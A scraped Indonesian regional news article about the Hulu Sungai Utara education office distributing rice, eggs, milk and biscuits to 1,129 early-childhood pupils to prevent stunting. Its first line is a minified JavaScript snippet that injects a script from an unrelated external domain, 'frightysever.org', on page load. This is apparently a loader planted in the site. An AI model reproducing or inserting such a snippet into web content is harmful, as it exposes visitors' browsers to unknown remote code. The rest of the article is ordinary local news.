(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Dinas Pendidikan dan Kebudayaan (Disdikbud) Kabupaten Hulu Sungai Utara (HSU) menyalurkan bantuan Pemberian Makanan Tambahan Anak Sekolah (PMTAS) jenjang Taman Kanak-kanak dan Pendidikan Anak Usia Dini (TK PAUD) se HSU.
Program PMTAS bagi TK PAUD ini salah satu komponen yang penting dalam usaha penambahan gizi anak untuk penurunan dan pencegahan stunting di Kabupaten HSU.
“Kegiatan ini merupakan program dari Disdikbud HSU, bertujuan untuk pencegahan dan penurunan angka stunting di Kabupaten Hulu Sungai Utara,” kata Kasi Bidang Pembinaan PAUD dan Pendidikan Non Formal (PNF) Disdikbud HSU, H Jauhari, saat kegiatan penyaluran bantuan di pendopo TK Negeri Pembina Amuntai, Rabu (6/12/2023) siang.
Baca juga: Perundungan Pelajar di Sekolah, Capres Anies: Tidak Dianggap Masalah Pendidikan
Jauhari menyebut, sasaran program ini meliputi anak-anak sekolah negeri maupun sekolah swasta yang berada di locus stunting.
Adapun peserta didik untuk jenjang PAUD di Kabupaten HSU berjumlah 1.129 anak yang diberikan makanan tambahan anak.
“Setiap penerima mendapatkan beras 10 Kg, telur ayam 4 kg, susu UHT 2 dus, susu bubuk 4 saset, dan biskuit susu 9 bungkus,” sebutnya.
Baca juga: Proyek Embung Gunung Kupang Molor
Sementara itu, Sekertaris Daerah (Sekda) HSU, Adi Lesmana, yang hadir menyerahkan bantuan secara simbolis mengaku bersyukur tahun ini dapat menyelenggarakan penyerahan bantuan stunting PMTAS PAUD ini.
Dikatakannya, tahun ini Pemkab HSU mendapatkan penghargaan dari pemerintah pusat setelah berhasil menjalankan program pengendalian kemiskinan ekstrem dan pengendalian stunting.
“Alhamdulillah kita diberi insentif bantuan dari pemerintah pusat yang lumayan besar sekitar Rp12 miliar yang dibagi dengan program Bantuan Langsung Tunai (BLT) kepada masyarakat yang tidak mampu, dan sebagainya untuk pengendalian stunting,” katanya.
Baca juga: 257 Perkara Narkotika Sepanjang 2023 Kasus di PN Amuntai
Adi menyampaikan, sumber dana pemerintah pusat tersebut, dimanfaatkan untuk penyaluran BLT, pasar murah di seluruh kecamatan di Kabupaten HSU serta penyaluran bantuan pencegahan dan pengendalian stunting.
Adi berharap program ini dapat berjalan dengan baik dan lancar sehingga tahun depan bantuan pencegahan dan pengendalian stunting terus dijalankan.
Dia berharap penyaluran bantuan pencegahan dan pengendalian stunting ini dapat dimanfaatkan dengan baik.
(Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More
This website uses cookies.